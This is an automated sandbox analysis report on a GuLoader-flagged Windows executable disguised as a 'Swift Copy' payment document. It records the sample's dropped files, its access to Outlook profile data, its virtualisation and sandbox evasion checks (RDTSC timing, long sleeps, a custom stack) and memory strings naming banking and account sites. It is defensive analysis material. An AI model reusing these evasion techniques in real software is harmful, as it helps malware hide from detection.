Source: timelanges.lnk0.0.dr	LNK file: ..\..\..\Program Files (x86)\Common Files\prgedes.paa

Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: Swift Copy_19.02.2025.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Data Obfuscation

Yara detected GuLoader

Source: Yara match	File source: 00000000.00000002.3153152281.0000000004618000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.4000735254.0000000002CB8000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe

Code function: 0_2_73911B5F GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW,

0_2_73911B5F

Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_03F7891E pushad ; iretd	6_2_03F7891F
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_03F78DDF push esp; iretd	6_2_03F78DE0
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_03F78C2F pushfd ; iretd	6_2_03F78C30
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_37E6349B push ss; retf	6_2_37E634AE

Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe

File created: C:\Users\user\AppData\Local\Temp\nsl778C.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	API/Special instruction interceptor: Address: 4E49A7A
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	API/Special instruction interceptor: Address: 34E9A7A

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	RDTSC instruction interceptor: First address: 4E20798 second address: 4E20798 instructions: 0x00000000 rdtsc 0x00000002 cmp ebx, ecx 0x00000004 jc 00007F9620D9F297h 0x00000006 test dl, 00000025h 0x00000009 inc ebp 0x0000000a inc ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	RDTSC instruction interceptor: First address: 34C0798 second address: 34C0798 instructions: 0x00000000 rdtsc 0x00000002 cmp ebx, ecx 0x00000004 jc 00007F9620D3FCE7h 0x00000006 test dl, 00000025h 0x00000009 inc ebp 0x0000000a inc ebx 0x0000000b rdtsc

Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Memory allocated: 3E90000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Memory allocated: 34870000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Memory allocated: 3E90000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Thread delayed: delay time: 600000			Jump to behavior

Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsl778C.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe

API coverage: 1.7 %

Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe TID: 6904	Thread sleep time: -922337203685477s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe TID: 6904	Thread sleep time: -600000s >= -30000s			Jump to behavior

Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 0_2_004065C7 FindFirstFileW,FindClose,	0_2_004065C7
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 0_2_00405996 GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	0_2_00405996
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 0_2_00402868 FindFirstFileW,	0_2_00402868
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_00402868 FindFirstFileW,	6_2_00402868
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_004065C7 FindFirstFileW,FindClose,	6_2_004065C7
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_00405996 GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	6_2_00405996

Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Thread delayed: delay time: 600000			Jump to behavior

Source: Swift Copy_19.02.2025.exe, 00000006.00000002.4027318338.0000000035B25000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: Swift Copy_19.02.2025.exe, 00000006.00000002.4027318338.0000000035B25000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: Swift Copy_19.02.2025.exe, 00000006.00000002.4027318338.0000000035B25000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: Swift Copy_19.02.2025.exe, 00000006.00000002.4027318338.0000000035B25000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696487552f
Source: Swift Copy_19.02.2025.exe, 00000006.00000002.4004897772.00000000041AE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWWu
Source: Swift Copy_19.02.2025.exe, 00000006.00000002.4027318338.0000000035B25000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: Swift Copy_19.02.2025.exe, 00000006.00000002.4027318338.0000000035B25000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: Swift Copy_19.02.2025.exe, 00000006.00000002.4004897772.00000000041AE000.00000004.00000020.00020000.00000000.sdmp, Swift Copy_19.02.2025.exe, 00000006.00000002.4004897772.0000000004158000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Swift Copy_19.02.2025.exe, 00000006.00000002.4027318338.0000000035B25000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: Swift Copy_19.02.2025.exe, 00000006.00000002.4027318338.0000000035B25000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: Swift Copy_19.02.2025.exe, 00000006.00000002.4027318338.0000000035B25000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: Swift Copy_19.02.2025.exe, 00000006.00000002.4027318338.0000000035B25000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696487552
Source: Swift Copy_19.02.2025.exe, 00000006.00000002.4027318338.0000000035B25000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696487552o
